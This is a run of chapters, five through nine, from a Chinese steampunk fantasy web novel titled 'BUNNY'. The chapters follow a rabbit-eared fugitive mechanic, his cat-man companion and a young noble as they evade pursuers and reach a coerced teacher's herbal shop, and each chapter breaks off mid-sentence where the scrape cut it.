“是啊,仅此而已。”雪茸摊开手,“我只信我看得到的东西。” 说完,便转身上阁楼换衣服了,只留莱安一个人对着一堆武器面壁思过。 他晕晕乎乎反应了半天,才大概明白这人的意思——神明虚无缥缈,所以他不信神。 可是,如果神明并不存在,机械之心是依靠什么漂浮在天上?又是因为什么,能给大陆传送源源不断的能量? 莱安有一肚子想反驳的话,但他还是识趣地憋回了肚子里。像雪茸这样的无神论者,是全民信教的大陆最痛恨的异端,但这人早已经不只是立场出了问题,比起他的所作所为,他的 5. 长耳兔子005 《BUNNY》全本免费阅读 看着仓鼠石化在原地,雪茸没有产生任何愧疚情绪,而是继续扎心道:“他们会怎么处理你?打碎了给猎犬做饲料?还是钉在十字架上放血?反正肯定不会让你好过。” 小仓鼠听得天都快塌了,石化的身体轻轻晃了两下,便娇弱无力地瘫坐在了桌上。 雪茸拨开窗帘看了看窗外,轻飘飘道:“我现在把你丢出去,应该很快就会被抓住吧?” 小仓鼠连忙一个激灵,翻身双膝着地,脑门子磕到桌上,给他行了个胖胖的大礼,长跪不起:“叽叽!!” 意思是留它条生路,只要别丢下它,一切都好说。 雪茸用羽毛笔根挑起它的下巴,明示道:“我不养闲人,” 小仓鼠的眼珠子快转冒了烟,直到它快把自己转晕了,这才灵机一动,指了指雪茸收走燃料的方位,又拍拍自己的胸脯:“叽!” 雪茸看明白了:“你能帮我们找燃料?” 仓鼠赶紧点点头,眼巴巴望着雪茸。 雪茸没吱声,朝一旁围观的梅尔使了个眼色,黑猫便伸了个懒腰,起身叼起装燃料的小盒子,转身藏进阁楼里。 仓鼠知道这是他的“入会测试”,等梅尔一藏好,便赶紧竖起十二分的精神在空气里嗅出来。 没一会儿,他就从座椅下的角落里,把那个盒子刨了出来,放回雪茸的手心——看来确实是对燃料有一定的敏锐。 雪茸终于露出一丝满意:“好。让梅尔分你口猫粮。” 还没等仓鼠松了口气,雪茸又问道:“那你知道这东西怎么用吗?” 小仓鼠立刻紧张起来,用爪子比划出一个大大的圆,做出铲东西的动作,又摆摆手摇摇头——意思是离开了专用锅炉,自己也没办法物尽其用。 可是锅炉已经被自己炸了,雪茸冷脸:“那我要你有什么用?” 仓鼠一听,又趴下来,哐哐哐给他磕头:“叽叽QAQ……” 盯着那胖团子看了很久,雪茸摆摆手,无所谓道:“没事,你留下吧,我要多找点这东西。” 仓鼠终于长松一口气,虚脱地瘫在了桌子上。 几秒之后,它又被梅尔盯得一阵凉意,赶紧翻了个身,滚到了莱安得手边——整个马车里,唯一让它感觉可以依靠的存在。 莱安瞄了一眼雪茸,确认对方不反对自己和啾啾接触,便把它捞到掌心里,轻轻摸了摸。 小动物的软毛摸起来很舒服,显然这一人一鼠都在这样的互动中得到了治愈。 看着手中团成小球的鼠鼠,莱安壮起胆子,抬头问:“哥,你找这个燃料是要干嘛啊……?” 雪茸随口答道:“因为它值钱,而且有用。” 在这样一个能源至上的蒸汽时代,在当下从零开始逃亡的处境之中,燃料对于他们的价值甚至高于货币。 尤其是雪茸作为一名机械师,无论是亲手制作的武器,还是其他手工机械,想要发挥作用都离不开燃料带来的动能——但是,在他们学会使用这样东西,或是找到渠道,用它来兑换等量价值之前,这块燃料跟废物并没有任何区别。 雪茸盯着手里这块紫色的石头,却没有说出那埋在心底更深层次的理由—— 这块燃料,其实是他揭开“神”的真面目的关键。 在今天之前,这样的情绪尚未完全攻占雪茸,可经历了这么一遭,雪茸的一身反骨便被彻底激起来了。 为了这所谓的“神”,强迫我、控制我、追杀我。雪茸冷笑一声——我偏要亲手撕了这张面具,看看你到底是个什么东西。 一旁,梅尔抬头看了一眼机械钟,轻轻从桌子上跃下,转身上了阁楼,没一会儿,他便变回了人形,手里还端着一杯泡好的热茶,放到了雪茸的面前——毛地黄药茶,对缓解心脏不适有还算不错的效果。 “不要总等我提醒你。”梅尔没好气地道,“你要是病死了,我只会开一瓶酒,庆祝个三天三夜。” 面对自家主人兼绝世魔鬼,这家伙说话居然还毫不掩饰地夹枪带炮,莱安听得一阵紧张。但被人身攻击的雪茸本尊,似乎倒是接受度良好。 “谢谢你,小猫咪。”雪茸完全无视了他的嘲讽,笑着拿起茶杯喝起来,“我真的不能没有你。” 梅尔并不吃这一套,甚至没多看主子一眼,转头过去拨弄仓鼠了。 仓鼠对梅尔有种来自血脉的恐惧,看见这人朝自己走过来,立马屁股一撅,往莱安手心里拼命钻着。 莱安给也不是,不给也不是,正在为难时,雪茸出来解围:“梅尔,帮我揉揉耳朵吧,它收不回去了。” 梅尔只能不耐烦地“啧”了一声,放弃撸鼠,转头帮他去揉耳朵了。 雪茸的兔子耳朵似乎和身体状态有着很大的关联,心脏不舒服或者是服药的时候,总会控制不住地冒出来,又得花很大的功夫才能收回去。 不过也算是弄拙成巧,这次在教堂发病,让通缉令上的关键词变成了这对兔耳,只要他平时能把耳朵收好,对他来说反而是一种不错的掩藏。 莱安眼睁睁看着梅尔站到身后,双手轻轻摸到雪茸的耳根,那白色的长耳朵立刻轻轻颤抖了两下。他看见雪茸克制不住地眯了眯眼,然后俯身趴到桌子上,把脸埋进了臂弯里。 也不知道这人是舒服还是不舒服,莱安只看到雪茸的身子在触摸中微微颤抖着,呼吸节奏似乎乱了起来,那雪白的耳朵也泛起了一丝粉红。 明明只是很正常的动作,莱安却看得有些耳根子发热,居然也生起想摸摸他耳朵的冲动。 发现自己在胡思乱想,莱安赶紧摇摇头,垂下视线认真撸着仓鼠,再不敢乱看雪茸一眼了。 这短暂的工夫,莱安和仓鼠进行了一个跨语言长谈,他们各自比划了半天,才知道仓鼠有自己的名字,叫OO——它真的像O一样圆。 大约过了十多分钟,雪茸的耳朵终于收了回去。他抬起头的时候,眼角还有些泛红,忍不住又伸手摸摸脑袋——看起来可能是挺痛的,像是个不得不把软肋暴露出来的小兔子。 有那么一瞬间,莱安又觉得这位兔子先生十分可爱温顺了,直到他抬起头光速收拾好自己的表情,然后说:“这间屋子不能待了,梅尔,行李收拾得差不多就能出发了。” “行啊。”梅尔嘴上总是一副松散的样子,但是做起事来却很利落,“那几间房子里用得到的东西我也带来了,随时都能走。” 意料之外情理之中,这人的据点不止一个。东方有个词叫“狡兔三窟”,看来是真没说错。 看着他们忙忙碌碌就准备上路,抱着OO的莱安站在一边,感觉自己迷茫又多余,忍不住弱弱问了一句:“我们现在是要去哪里呀……?” 雪茸这才想起来自己差点忘了个人:“梅尔,去给莱安准备些衣服和生活用品,他个子很高,我的衣服他穿不了。” 接着就对莱安说:“我有个老师住在埃城,我得在他那里拿点东西,不然我没法上路。” 梅尔相当不耐烦地给莱安量了量衣服尺寸,接着便化成猫咪,叼着个竹篮子便从窗户离开了。 雪茸也没闲着,又一脸热情亲切地拉过莱安,把他带到那满墙的武器面前:“来,挑你喜欢的。” 听他的口气,还以为在让自己挑礼物,只是莱安又看了一眼面前面目狰狞的暗器,整个人都麻了—— 虽然体术厉害,但毕竟是学院派,真的要打打杀杀,他还是打心底里感到害怕。 但他更怕雪茸盯着自己,只能吞了口口水,强装镇定地取了一把长剑别在腰间——至少他学过剑术,真用起来,也还算是在自己的控制范围内。 雪茸看他取下剑,跟他介绍起来这里面的玄机:“你仔细看,剑柄是可以旋开的,里面有一个中空的管腔,你可以在里面注入任何一种毒药……” 看着莱安像拿着烫手山芋一样,打算把剑送回去,雪茸话锋一转,笑容消失:“当然,你也可以不加。” 这就是不想拿也得拿了,莱安头皮一紧,乖乖把剑别在腰上。 其他的他也不敢再碰了,绷着嗓子转过身:“就……就它了。” 雪茸满意地笑了笑,又从楼上拿下一个造型精致的小箱子,从墙上挑选了一些工具,转身关上了暗墙。 与此同时,梅尔也满载而归,叼着满满一篮子的衣服从窗台跳回到雪茸身边。雪茸随便找了一套衬衫长裤塞给莱安:“换上吧,从今天开始忘掉你的贵族身份。” 莱安虽然是个贵族少爷,但好在并不娇气,听话懂事能吃苦,至少雪茸单方面和他相处得很愉快。 他快速换上干净的衣服,雪茸又怼着他的全身喷了一通香水,确定都腌入味了,这才非常警惕地领他出门。门口,梅尔已经准备好了马车,正把行李一件件往上搬着。 虽然这人嘴巴狠毒,但是做事真的出奇的靠谱。刚这么想着,就听雪茸笑着对他说:“梅尔真的很可靠,行李是他帮我准备的,刚刚的妆也是他帮我画的,还会开马车——除了做菜特别难吃之外,没有什么缺点了。” 后面半句话一出,马车车厢前就传来了一声不耐烦的反驳:“那是你没品。” 雪茸权当没听见,拉着莱安就上了车——逃亡正式开始了。 莱安摆好行李,把OO抱进怀里,马车便在青石板路上颠簸起来,驶往一片陌生的街道。 他们现在要去埃城,去距离莱安家完全相反的方向。 据说那里有很多见不得光的流民,也有不少从东方大陆来的异乡人,是个充满着奇门秘术的地方。这是莱安第一次去离家那么远的地方,看着窗外不断后退的牌匾,再一次陷入了迷茫—— 自己怎么就迷迷糊糊走到这一步了?路上会 6. 长耳兔子006 《BUNNY》全本免费阅读 “……啊嚏!”此时,远在约克镇边郊的雪茸,闷闷地打了个喷嚏,接着浑身一股恶寒,打了个冷战。 “风寒了?”莱安紧张起来——大陆的医疗水平早已停滞多年不见发展,针对风寒这样的恶疾,并没有针对性的药物和疗法,如果不幸着凉沾染,除了听天由命之外,就只有祈求得到神明的洗礼和庇护了。 但雪茸并没有任何慌张,只是轻轻叠好手帕,不紧不慢道:“看起来像是有人在想我。” “……”莱安无语凝噎,倒也宁可是他说的那样。 “莱安,你听说过吗?”雪茸看向窗外,自顾自地开口道,“风寒在东方,其实并没有那么可怕。” 莱安一听,又一阵冷汗—— 除了他们生活的西方大陆之外,大洋彼岸,还有一个以夏国为核心的东方大陆。据传,那里充斥着心术不正的异教徒,常远渡而来妖言惑众。放在两百年前,这群人和女巫无异,都是要被绑起来烧死的。 但雪茸似乎对这样的邪魔歪道充满了向往:“他们不像我们,生病就只有‘圣水’、放血和鸦||片酊。他们有很多种不同的草药,应对不同的疾病,他们还懂很多精湛的医术,甚至连我这样的心脏都有可能治好。” 莱安没有搭话,内心却不敢苟同——雪茸瞧不上的圣水、放血、鸦||片酊,经过近百年的反复检验,已经拯救了无数人的性命,而他口中的东方医术,却是完全违背机械之心的真理、害人不浅的存在。 这人大抵是深受异教邪说的荼毒,才产生这一系列恐怖荒谬的行为。莱安心想,由此可见,正确的信仰对于一个人的精神稳定,是多么地重要。 当然,自己现在也属于不大稳定的那一挂了。 莱安的沉默让话题掉在了地上。马车在寂静中前进着,雪茸一旦选择不开口,莱安就紧张得快要窒息了。 终于,车厢外传来梅尔敷衍了事的声音:“快到邮局了。” 雪茸应了一声,从抽屉里取出一张信纸铺在桌上,接着取出一根羽毛笔,蘸取墨水——当场开始写信。 作为一个有教养的绅士,莱安非常自觉地偏过头,不去看信的内容。雪茸却开口道:“没什么秘密,就是让老师来接应我们一下。” 莱安想起那铺天盖地的搜查,担心道:“不会被发现吗?” 雪茸没有回答,而是弯起眼睛看向他:“不错啊伯爵先生,进入角色挺快的。” 一被他这么调侃,莱安又一阵窒息,差点背过气去。 雪茸慢条斯理地写起信,顺口回答道:“不用担心,老师是个聪明人。” 信写好的工夫,刚刚好到邮局。梅尔拿着印好火漆的信封,在门口招了一只邮鸽——就像是教堂的火蜥蜴、飞艇上的仓鼠锅炉工,邮局的邮鸽也是一种习得微量魔法的特殊工种。 它们送信的速度比一般人类邮差快上数倍,也有着普通信鸽没有的敏锐度和沟通能力,同时也不存在任何泄露信息的风险——邮鸽是送信的最佳选择,除了价格昂贵之外,没有任何缺点可言。 向邮鸽交代了几句人话之后,小鸽子挺着胸脯一动不动,梅尔只能一边小声骂骂咧咧,一边又塞给它一枚金币。 掂了掂那枚沉甸甸的金币,这家伙才把信塞进邮差包里,扑棱扑棱翅膀,朝目的地飞去。 一直目送着鸽子飞走,看着梅尔回到马背上,雪茸才欠揍似的来了一句道:“我们梅尔花钱可真是大手大脚的。” 梅尔阴沉沉来了一句:“钱花完就把你卖了领赏金。” 莱安活这么大,还没见过梅尔这样敢跟主子呛声的,但他不敢掺和——自从加入了这个团伙,他总因自己的过分纯良而倍感自卑。 雪茸口中的老师,住在距离约克镇三天车程的埃城,邮鸽飞一个来回大约需要一天半,在他们赶到目的地之前,应当就能收到老师的回信。 这个老师到底是什么人?真的会主动接纳一个全大陆通缉的逃犯?雪茸千里迢迢去找他又是为了什么?莱安的困惑越来越多。 接下来的路,比莱安想象中还要顺利不少,他们拿着“艾琳小姐”的查验证明,一路蒙混过关,骗过无数警督和猎犬,偶尔遇到稍微难缠的,雪茸便换上裙子、戴上假发,三两下就将人糊弄走了。 第二天早上,马车路过闹市区,街头一堵墙边熙熙攘攘围满了人,不知是在看什么。 雪茸原本正靠在椅子上休息,听到窗外热热闹闹的,便睁开眼:“梅尔,他们在看什么?” “谁知道。”梅尔嘴上不耐烦,但还是直接替他把马车停下——不用问,他也知道雪茸一定要凑这个热闹。 莱安这一路上都生怕被人多看一眼,没想到这人直接自己往人堆里扎去了,吓得他一身冷汗。 “诶……!”莱安刚想拦,就被梅尔懒洋洋打断:“让他去呗,出了事儿我请你喝酒。” 雪茸早已经习惯了他说这样的话,根本没停下来半步,便快速喷上香水戴好帽子,径直往人堆里钻了过去。 看他这样招摇过市的样子,莱安有些担心,抬头看了梅尔一眼。那家伙朝他扬了扬下巴,意思是想去就去吧。 莱安慌忙做好掩饰武装,临下车前想了想,又摸来自己新配的剑,确保做足了心理准备,这才紧张兮兮跟了过去。 雪茸的动作很快,莱安差点把他看丢了,刚跟到人群外围,就听到那熟悉的议论声: “实在是太恐怖了,异教徒果然都是邪恶的!” “听说他炸了飞艇,可千万别闹出人命才好!” “上一个让我这么害怕的还是那位‘午夜刽子手’……” “‘午夜刽子手’只是杀人,这个疯子可是渎神啊!!渎神!!” “午夜刽子手”是一位臭名昭著的变态杀人魔,四处流窜作案,闹得整个大陆人心惶惶。能和这样的角色相提并论、甚至是更胜一筹,莱安大约是再也笑不出来了。 他硬着头皮,刚一抬头,便看见雪茸挤到了人群最前面,面前是一张明晃晃的通缉令—— “重金悬赏:如有人看见图中所示兔耳男子,请立刻通知附近警力实施逮捕!” 下面的配图,是一张根据目击者描述画出来的肖像,莱安看了一眼,大概知道为什么这么长时间都没人认出雪茸来了—— “不堪入目!”一个人指着画像上乱飞的五官骂。 “穷凶极恶!”另一个人看着那恐怖的线条摇头。 “相由心生!”众人议论纷纷,得出这样一个结论。 人群前的雪茸看着画像,欲言又止了半天,还是认命道:“……真的好丑。” 画像上的雪茸勉强能看出是个人,除了头顶两个耳朵,基本看不出任何五官特征来——照着这张画,就是本尊站在他 7. 长耳兔子007 《BUNNY》全本免费阅读 从人群中回到马车里,莱安面色一片铁青,灵魂被抽走了大半。 雪茸拍拍他的肩膀,安慰道:“也不是没有好消息。” 莱安虚脱地抬起眼皮看他,想要得到些许慰藉。 雪茸认真道:“我们的赏金非常高,超越了‘午夜刽子手’,一跃成为通缉榜首,是真的贵族。” “……”莱安闻言,险些直接昏死过去。 雪茸似乎特别享受欺负他的过程,心情肉眼可见地好起来:“看这个样子,我们路上不怕没钱花了。” 听到这里,原本已经近乎昏厥的莱安,被直接吓醒了 :“……不会是我想的那个意思吧?” “应该就是你想的那个意思。”雪茸真诚道,“缺钱的时候,我们可以卖点消息给他们,也算是帮他们攒攒功德了。” 这家伙简直就是把狂妄写在脸上,完全没把抓捕放在眼里。 此时,莱安只恨自己身体素质太好,不能直接原地昏死一了百了。 但事实证明,雪茸说的缺钱,并不是危言耸听——因为送信花销太大,从当天的晚餐开始,几个人就过得有些紧巴了。 三个人分了一块邻居送的面包,便匆匆勒紧了口袋,为明天省下口粮。天还没完全黑,素日里锦衣玉食的莱安,就有些扛不住了。 他抱着OO,缩在马车的角落,缓了很长时间,复杂的情绪还是翻涌上来—— 也不知道是不是心理原因,自从离开约克镇之后,莱安就始终觉得有双眼睛在盯着自己。 那是一种黏糊糊的、如影随形的眼神,即便是缩在车厢的最拐角,也不能逃避这视线的追逐。 他有点怀疑自己是不是太紧张了,但偏偏这狭长的街道,总让他产生怪异的联想—— 这里的工业化进程比约克镇要高,四处都有轰鸣的蒸汽机械,风裹着白皑皑的烟雾走街串巷,热闹中又掺杂着一丝诡异的寂寥。 在这种氛围里,莱安更忍不住胡思乱想。那一瞬间,他觉得教堂上的钟表、店铺外的圆形牌匾、甚至是路旁荧荧的路灯,都变成了一双双眼睛,死死盯着他看。 莱安越想越害怕,无助中又忍不住开始难过—— 自己当初离家准备接受洗礼时,父母亲和哥哥们满面遮不住的骄傲与喜悦,再回头看现在的自己,成了一个狼狈不堪的逃犯,那一刻,委屈、愧疚和恐惧一齐漫上心头。 眼眶子不由自主红了起来。 似乎是感受到他情绪不好,OO赶紧爬到他的肩膀上,轻轻蹭了蹭他的脸颊。 正当他伸手悄悄擦着眼泪时,对面的雪茸似乎看破了他的心思,开口关切道:“你一定被家里保护得很好吧?” 莱安一听,更委屈了,眼泪吧嗒吧嗒往下掉:“呜呜……我家人真的很爱我……” 雪茸问:“那他们一定很担心你吧?” 莱安哭得更大声了:“呜呜……” 雪茸拍拍他们的肩膀,说:“你现在这个情况,一时半会儿肯定回不了家,如果实在撑不下去,可以给家里写封信……” 难得听到这家伙说人话,莱安一时竟产生出一种不真实感。他抬起头,刚准备说些什么,就听见那家伙继续开口道:“你跟家里说,在外面遇到了些困难,需要他们帮帮忙,他们应该不会不同意的吧。” “……”原来是看上自己的家底子了。 莱安一下子哭不出来,却又忍不住跟着他的思路跑——自己家是做船舶和车辆生意的,整个大陆一半的交通都归老爹管,这对于他们今后的逃亡来说,简直是得天独厚的有利条件…… 还没等他继续细想,雪茸就拍拍他的肩膀,给他递了一块蘸了奶酪的粗麦面包,温柔道:“再吃点吧亲爱的,别饿坏了。” 莱安颤巍巍接过面包,又忍不住感动起来——抛开不好的地方不谈,他真的好好哦。 单独加餐后,莱安的精神好了很多,对面的雪茸却看着窗外漆黑的天色,面色凝重。 “说到写信,邮鸽已经飞走快两天了吧。”雪茸的声音再次变得冰冷严肃,“梅尔,如果明天早上之前,信还不能送回来,我们就不去了。” 梅尔没有回答,意思就是知道了。 而稍早时分,埃城的一家药铺外面,被人心心念念惦记着的邮鸽,已经在门口的树枝上苦熬了快一整天了。 来的路上,它还揣着那枚金币,得意到尾巴快撅到天上去,结果到了目的地才发现,自己的要价还是太保守了—— 这分明就是个玩命的差事!! 不知道为什么,它刚到这里时,这间平平无奇、甚至有些简陋的小药铺,就已经拥满了警督,里三层外三层,气氛显得极其紧张。 而它的任务,是要在没有任何第三人发现的情况下,把信送到药铺主人的手中——这怕是神仙也做不到!! 此时,极强的职业素养已经快败给了求生欲,就当它快要忍痛将信件连同金币一并退回时,一串脚步声从远处传来。 它慌忙躲进了树丛里,接着便看到了一个穿着军装、身材高挑、面部套着口笼的男人,领着一至四五个人的队伍,从树林中走来。 和屋里气势汹汹的警督不一样,这个男人没有太多外放的情绪,可光是面无表情地迈着步子,都能散发出叫鸽子羽毛颤栗的强大气场。 邮鸽缩成一团瑟瑟发抖,都忘记该怎么飞了。 走到药铺门口的时候,闻玉白看着里面熙熙攘攘的人头,有些无语地啧了一声:“这么多人?” 带头的警官看到闻玉白,也跟着紧张起来:“……人少了怕控制不住。” “一个神棍,还要多少人?”闻玉白微簇着眉头,推开面前的木门,“都撤走吧。” 一股浓浓的草药味扑鼻而来,闻玉白的眉头彻底皱紧——这对猎犬来说,实在是刺鼻过头了。 看见闻玉白这个表情,屋里的警督瞬间噤声,哗啦啦地涌了出去。 包括混入其中的某位目标人物。 “你就不用撤了。”闻玉白伸手勾住了男人的衣领,将他扯回屋内,“砰”地关上门。 一瞬间,世界清静下来,只留男人眼巴巴地望着这一群稽查署的精英。 许久, 8.长耳兔子008 《BUNNY》全本免费阅读 第二天清早,雪茸在轻轻的敲窗声中醒来。邮鸽从窗边塞了一封信,连小费都没来得及要,就匆匆忙忙扑棱着翅膀飞走了。 雪茸拿起信,检查了好几遍,才拆开了信封—— “亲爱的小怀特: 一切都好,你要的东西也有,随时都可以来拿。 ——爱你的许” 听到拆信的声音,梅尔问道:“怎么样?” 雪茸:“是老师的笔迹。” 莱安听了,总算松了口气——信在约好的时间送回来,还是老师本人亲手写的,说明是真的,一切都好。 但雪茸却把信折起来,塞进口袋中:“但是是被胁迫的。” 莱安一听,差点原地被空气呛死:“啊?!怎么看出来的?” 雪茸说:“因为我不姓怀特。” “……”莱安发现自己一点也不惊讶了,“……那你姓什么?” 雪茸摆摆手:“随便吧,你也可以叫我布莱克。” 这个布莱克明显就是随口胡诌的名字,莱安懒得再问了,现在他只关心眼前的问题:“那我们现在怎么办?不去找老师了?没关系吗?” 虽然他至今也不知道为什么要去找这个老师,但他知道,这样被胁迫的情况是非常危险的。雪茸现在要是过去,就是羊入虎口,等死。 但雪茸却笑笑:“去啊,为什么不去?” “我倒是挺好奇的,对方到底是什么人,居然知道用老师来引我出来。”雪茸拿起一旁的手杖,理所当然道,“得找到他,然后除掉。” 他说除掉对方的口气,就像是要拍死一只苍蝇。莱安回想起来他在教堂的壮举,顿时觉得一点也不惊讶了—— 大北境的冰雪有多冷,这个男人的心就有多硬。 越往埃城走,那种被窥探的感觉就越浓烈。莱安终于还是承受不住,开口问雪茸:“哥,为什么我总感觉有人在盯着我……?” “这还用问?”雪茸理所当然道,“因为你做贼心虚。” “……”真的做“贼”的莱安欲哭无泪——难道自己真的压力大到出现幻觉了吗?自己是不是离疯掉不远了? 抬头看见莱安一脸崩溃,雪茸又弯起眼,露出一个和蔼可亲的笑容:“我开玩笑的。埃城就是这样,习惯了就好了。” 莱安已经分不出他哪句话是真,哪句话是假了:“……真的吗?你们也能感觉到吗?” “真的,一开始来我们都有感觉。”雪茸安慰道,“习惯的人就会像我和梅尔一样,已经几乎感觉不到了,不能调整过来的人,很多都疯掉了。” “所以,埃城几乎没什么固定人口,有些人看中这里的某些机遇,特意千里迢迢搬过来,最后大多也都因为‘视线’的缘故再次离开。”雪茸说,“所以你不用害怕,这不是你的幻觉,至少不是你一个人的幻觉,或许是真有什么东西在盯着你看呢。” “……”莱安被这么一安慰,更害怕了。 看他这副面色铁青的样子,态度还有些吊儿郎当的雪茸突然认真起来。他俯过身,浅色的眼眸盯着莱安,气势却并不压人:“莱安,我问你,你觉得自己能坚持下去吗?” 突然被这么一问,莱安忽然慌张起来:“啊……?” “我觉得你的心态有些不好,也有可能是还没调整过来,不过这样的状态可能不太适合跟我们一起去埃城。”雪茸说,“如果你还是感觉到害怕,觉得坚持不下去,你现在就可以下车。我会安排人把你送回约克镇,后面你想去哪里我都不会干涉了,可以吗?” 这番话让莱安骤然生出了一种被抛弃的恐慌感——撇开别的不说,自己的身份不知道什么时候就会暴露,贸然回家只会连累家人,而以自己一个人的能力,光是勉强活下去都成问题。 不知道从什么时候开始,他已经非常依赖雪茸了,虽然这个人一直给他巨大的压力,但至少可以给他无可替代的安全感——好像跟着这个人走,天塌下来都有人挡着。 他不想被雪茸这样扔在这个鬼地方,赶紧慌张地摇摇头:“对不起,请不要把我丢下来……我会好好调整好状态的……” “好。”雪茸再一次露出笑容,“真的不用害怕,埃城的‘注视’一直都在,但它从没伤害过任何人——我倒是一直觉得它很温柔。” 尽管不知道这人的安慰有几分发自真心,但听他的话,莱安一下子就安心下来。 和雪茸简单聊完之后,莱安的精神状态真的好了很多,就连晚饭干巴巴的黑面包都吃得香极了。 梅尔在一旁吃着咸鱼干,阴嗖嗖地吐槽道:“要不是你劝他,我们或许还能省点口粮。” 雪茸不以为意:“万一他疯了之后把我们当口粮呢?” 看莱安被他吐槽得有些不好意思,雪茸拍拍他的肩膀:“放心吃吧,你是我们的主要战斗力,吃饱了才有力气打狗。” 莱安被他劝噎住了,又多喝了杯水,才缓了过来。 其实很奇怪,或许是因为“注视”的存在,埃城远没有约克镇那般热闹,但这里的工业发展进程却是约克镇的几倍——蒸汽机械对于约克镇来说,还算是个相当稀罕的高级玩意儿,但埃城沿街的商铺,却几乎家家都用上了蒸汽科技,有些店面甚至空无一人,门口却有着持续不断冒着白烟的机器。 简直就是个鬼城。习惯了人力驱动模式的莱安,很难想象这样的世界到底依靠什么运转。 恍神的工夫,马车轻车熟路开进了一片树林,本身这埃城就没什么人,到了这种荒郊野岭就更是一片死寂。 ……不会是把自己拐来卖了吧?莱安又紧张起来,直到看见树林的深处,出现一个非常潦草、破破烂烂的小屋,屋子上挂着一个摇摇欲坠的牌子,上面用两种语言写着——“神医药铺”。 “老师就在那里。”雪茸指着那个屋子道,“你们在这里等我就好。” 眼看着马车停下,莱安紧张起来:“你一个人去?没事吗?” 雪茸说:“看见地上的脚印了吗?这屋子里来了很多人,我们三个人根本打不过,何必让你过去送死呢?” 莱安更崩溃了:“那你一个人不就更……” 危急关头居然想着一个人冲在前头,莱安这回是真的被他感动到了。 “我一个人安全些,亲爱的。”雪茸弯着眼睛,拍拍他的肩膀,“你演技太差了,紧张全都写在脸上,我怕你拖累我。” “……”好残酷,好真实。莱安被狠狠打击到了,但也不得不承认,他说的是实话。 “你们在外面做好接应就 9.长耳兔子009 《BUNNY》全本免费阅读 似乎是看闻玉白一直盯着自己也不让路,青年有些拘谨地后退了半步,礼貌又害怕道:“请问发生什么事了?我想找许老板开个药,现在是不方便吗?” 青年长得很好看,举止礼貌有教养,言谈也很让人舒服。房间内原本虎视眈眈的队员看到他的一瞬间,忽然动摇起来——很难想象这样的人会做出渎神的事来。 最主要的是,闻玉白不发话,他们也不敢一声不吭就上去抓人。 所有人都紧张地等待着闻玉白的反应,那人看了他许久,才侧过身子,玩味似的给他看五花大绑的许济世:“许老板现在不大方便。” 许济世闻言,痛苦地扭动挣扎起来:“怀特先生……你要什么就自己拿吧……我现在确实不方便……” 青年看了他一眼,目光中是掩饰不住的恐惧,接着又犹豫地看向闻玉白,似乎在征求他的同意——这副怯懦守规矩的样子,完全就是个没见过世面的良民。 队员们被他的表现迷惑得犹豫不决,更关键的是,这位猎犬队长也完全没有要抓人的样子。 他没说话,倒是直接打开门让青年进屋,目光却一刻也没有从他身上挪开。 青年明显被他盯得有些不自在,但又默认他不说话就是默许,便小心翼翼地走了进来。 进门的时候,闻玉白跟着他的方向微微偏过头,一股淡淡的香味擦着他的鼻尖掠过——这人身上有股如影随形的香味,不算特别浓烈,但却相当勾人,叫人有些心神不宁。 他想揉揉鼻子,手却被冰冷的口笼挡住。情绪稳定的他终于面露烦躁,接着拉过椅子,架着腿坐到了药柜正前方——挡住了青年的去路。 青年怔愣住的工夫,闻玉白抬头看向他,灰色的兽瞳直接勾走了那人的影子。 这份沉默和注视让全场的人都倒抽一口凉气——这一路上,闻玉白无论对什么都是一副事不关己的敷衍态度,以至于让队员们险些忘记了他猎犬的身份。然而此时此刻,只是盯着眼前这位柔弱的青年,那充满侵略性的恐怖气场便瞬间灌满了房间。 青年被盯得有些措手不及,但还是非常绅士礼貌地朝他点了点头,浅色的眸子弯成好看的月牙:“抱歉,借过一下……” 他笑起来太好看了,人也很温柔礼貌。队员们纷纷倒戈,很难相信他就是那只残暴的兔子。 似乎是因为被闻玉白死死盯着,青年人拿药的动作一直非常紧张,脸色也不太好看,甚至全身都在轻轻发抖。他在尽可能绕着闻玉白走,甚至不愿意多看他一眼。 闻玉白盯着他的背影,轻笑起来:“怕什么?” 青年人有些僵硬地回头,硬撑起一个笑容来:“抱歉,我胆小……” 他的颤抖看上去不像是装的,但是确切说,不像是心理上的恐惧,而是更像那种来自骨子里的本能反应。 一路上没说过几句话的闻玉白,此时似乎对这人产生了浓烈的兴趣,居然开口闲聊起来:“这药是治什么的?” 青年动作顿了顿,接着伸手拉开一个抽屉,拿起一把药,放进纸包里:“肺病。我总咳嗽,一天不吃药就睡不好觉。” 见闻玉白没作声,青年不紧不慢地伸手拉开抽屉,回头看向许济世:“先生,把汤的方子跟我说吧,我自己抓。” 听到这话,在场的队员面面相觑——这人拿的是汤剂,教堂掉的是药丸,难道真不是一个人? 许济世避开了闻玉白的眼神,艰难地滚到雪茸面前,清清嗓子说:“这个你不懂,我来帮你吧……” 闻玉白抬起眼,冷声道:“让他自己来。” 许济世又默默滚了回去,吞了口口水说:“我得先给他把把脉,根据情况再给方子……不然把他毒死了,你们要负责。” 西方人很难懂中医的神神叨叨,没有人知道把脉是个什么怪术,但又没人敢拿这种事情开玩笑。队员为难地看了一眼闻玉白,那人微微扬了扬下巴:“手松绑。” 手松绑,其他地方继续捆着,但对他们来说已经够了。 雪茸深吸一口气,越过人群把手腕递给许济世,那人顺势搭上脉,另一手却悄悄把提前准备好的一小包药丸塞进了他的袖子。 这个江湖游医一身不正经的本事,在众目睽睽下耍小把戏信手拈来。 无双眼睛盯着,但两人面上却一副如常模样,只有喉咙微微发紧——这种时候露出一点破绽,怕不是都要小命难保了。 药丸藏进袖子里的一瞬间,雪茸悄悄松了口气,但又被这老狐狸气得没辙——自己的心脏病,除了这药丸状的急救药,还有日常温补调理的养心汤剂。雪茸对后者的需求并不紧急,但如果日常跟上,对雪茸的心脏调理有很大帮助,用到前者的概率也会自然减少。 许济世一直定期给雪茸开药,但又从不告诉他方子,以此来拿捏他、控制他。这回雪茸本想着,选择直接放弃丸剂,或许能逼他说出汤剂的药方,但这家伙居然提前在袖子里藏好了急救药丸,全方位防止他当面套取配方。 ……太狡猾、太小气了。 雪茸悄悄瞪了他一眼,那家伙还老神在在来了句:“怀特先生,最近肝火有点旺盛啊,要注意控制脾气哦。” 啧。雪茸抽回手,懒得理他。 果然,这人手把手给了药丸之后,就随口说了一副普通的温补药,让他自己抓了吃。 雪茸怀疑这真是个润肺的药方,但也只能硬着头皮,忍气吞声去抓药了。 被自己五花大绑的老师摆了一道,雪茸只能认栽,但至少东西拿到了。 他又悄悄抬头,看那猎犬一眼。 那家伙的眼神自始至终钉在自己身上,冰冷中带着刺骨的侵略性——雪茸下意识地屏住呼吸。 